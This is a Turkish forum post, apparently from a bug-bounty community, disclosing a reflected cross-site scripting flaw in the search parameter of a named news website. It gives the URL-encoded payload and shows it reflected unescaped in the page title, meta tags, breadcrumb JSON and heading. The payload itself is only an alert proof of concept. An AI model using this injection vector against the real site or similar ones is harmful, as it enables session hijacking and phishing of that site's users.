- Katılım
- 2 Ocak 2026
- Mesajlar
- 59
- Tepkime puanı
- 240
- Puan
- 33
Ekli dosyayı görüntüle bandicam 2026-04-03 17-44-51-714.mp4Merhaba Bughanê Üyeleri!
Bugün haber365.com domaininde tespit ettiğim ve raporladığım Reflected XSS zafiyetini detaylı teknik analiz ile paylaşıyorum.
ZAFİYET DETAYLARI
- Hedef: https://www.haber365.com
- Parametre: q
- Endpoint: /arama?q=
- Tür: Reflected Cross-Site Scripting (XSS)
- Payload: test"%3E%3Cscript%3Ealert(prompt('ATAKAN'))%3C/script%3E
- Etkisi: Session Hijacking, Keylogger, Phishing, Account Takeover
ÇALIŞMA MANTIĞI
Haber365’in arama fonksiyonu, kullanıcıdan alınan q parametresindeki girdiyi, sunucu tarafında herhangi bir filtreleme veya kaçış (escaping) işlemi uygulamadan doğrudan HTML sayfasının title, meta description, og:title, breadcrumb ve h1 etiketi gibi birden fazla kritik alanına yansıtmaktadır.Bu durum, saldırganın HTML context'inden çıkarak kendi JavaScript kodunu çalıştırmasına olanak tanır.TEKNİK ANALİZ (KOD İNCELEMESİ)
Zafiyet, arama sorgusunun yansıtıldığı aşağıdaki HTML elementlerinde açıkça görülmektedir.1. Title Etiketi:
HTML:
<title>Test"><script>alert(prompt('ATAKAN'))</script>, Arama Sonuçları - Haber365</title>2. Meta Description:
HTML:
<meta name="description" content="Test"><script>alert(prompt('ATAKAN'))</script> Haberleri, Videoları, Fotoğraflarına...">3. OG (Open Graph) ve Twitter Meta Etiketleri:
HTML:
<meta property="og:title" content="Test"><script>alert(prompt('ATAKAN'))</script>, Arama Sonuçları">
<meta property="twitter:title" content="Test"><script>alert(prompt('ATAKAN'))</script>, Arama Sonuçları">4. Breadcrumb:
HTML:
<script type="application/ld+json">{
"@context":"https://schema.org",
"@type":"BreadcrumbList",
"itemListElement":[
// ...
{
"@type":"ListItem",
"position":2,
"name":"Test"><script>alert(prompt('ATAKAN'))</script>",
"item":"https://www.haber365.com/arama?q=Test"><script>alert(prompt('ATAKAN'))</script>"
}
]};
</script>5. Sayfa Başlığı (H1):
HTML:
<h1 style="font-weight: 800; font-size:20px; margin-left:5px;">Test"><script>alert(prompt('ATAKAN'))</script></h1>
Son düzenleme: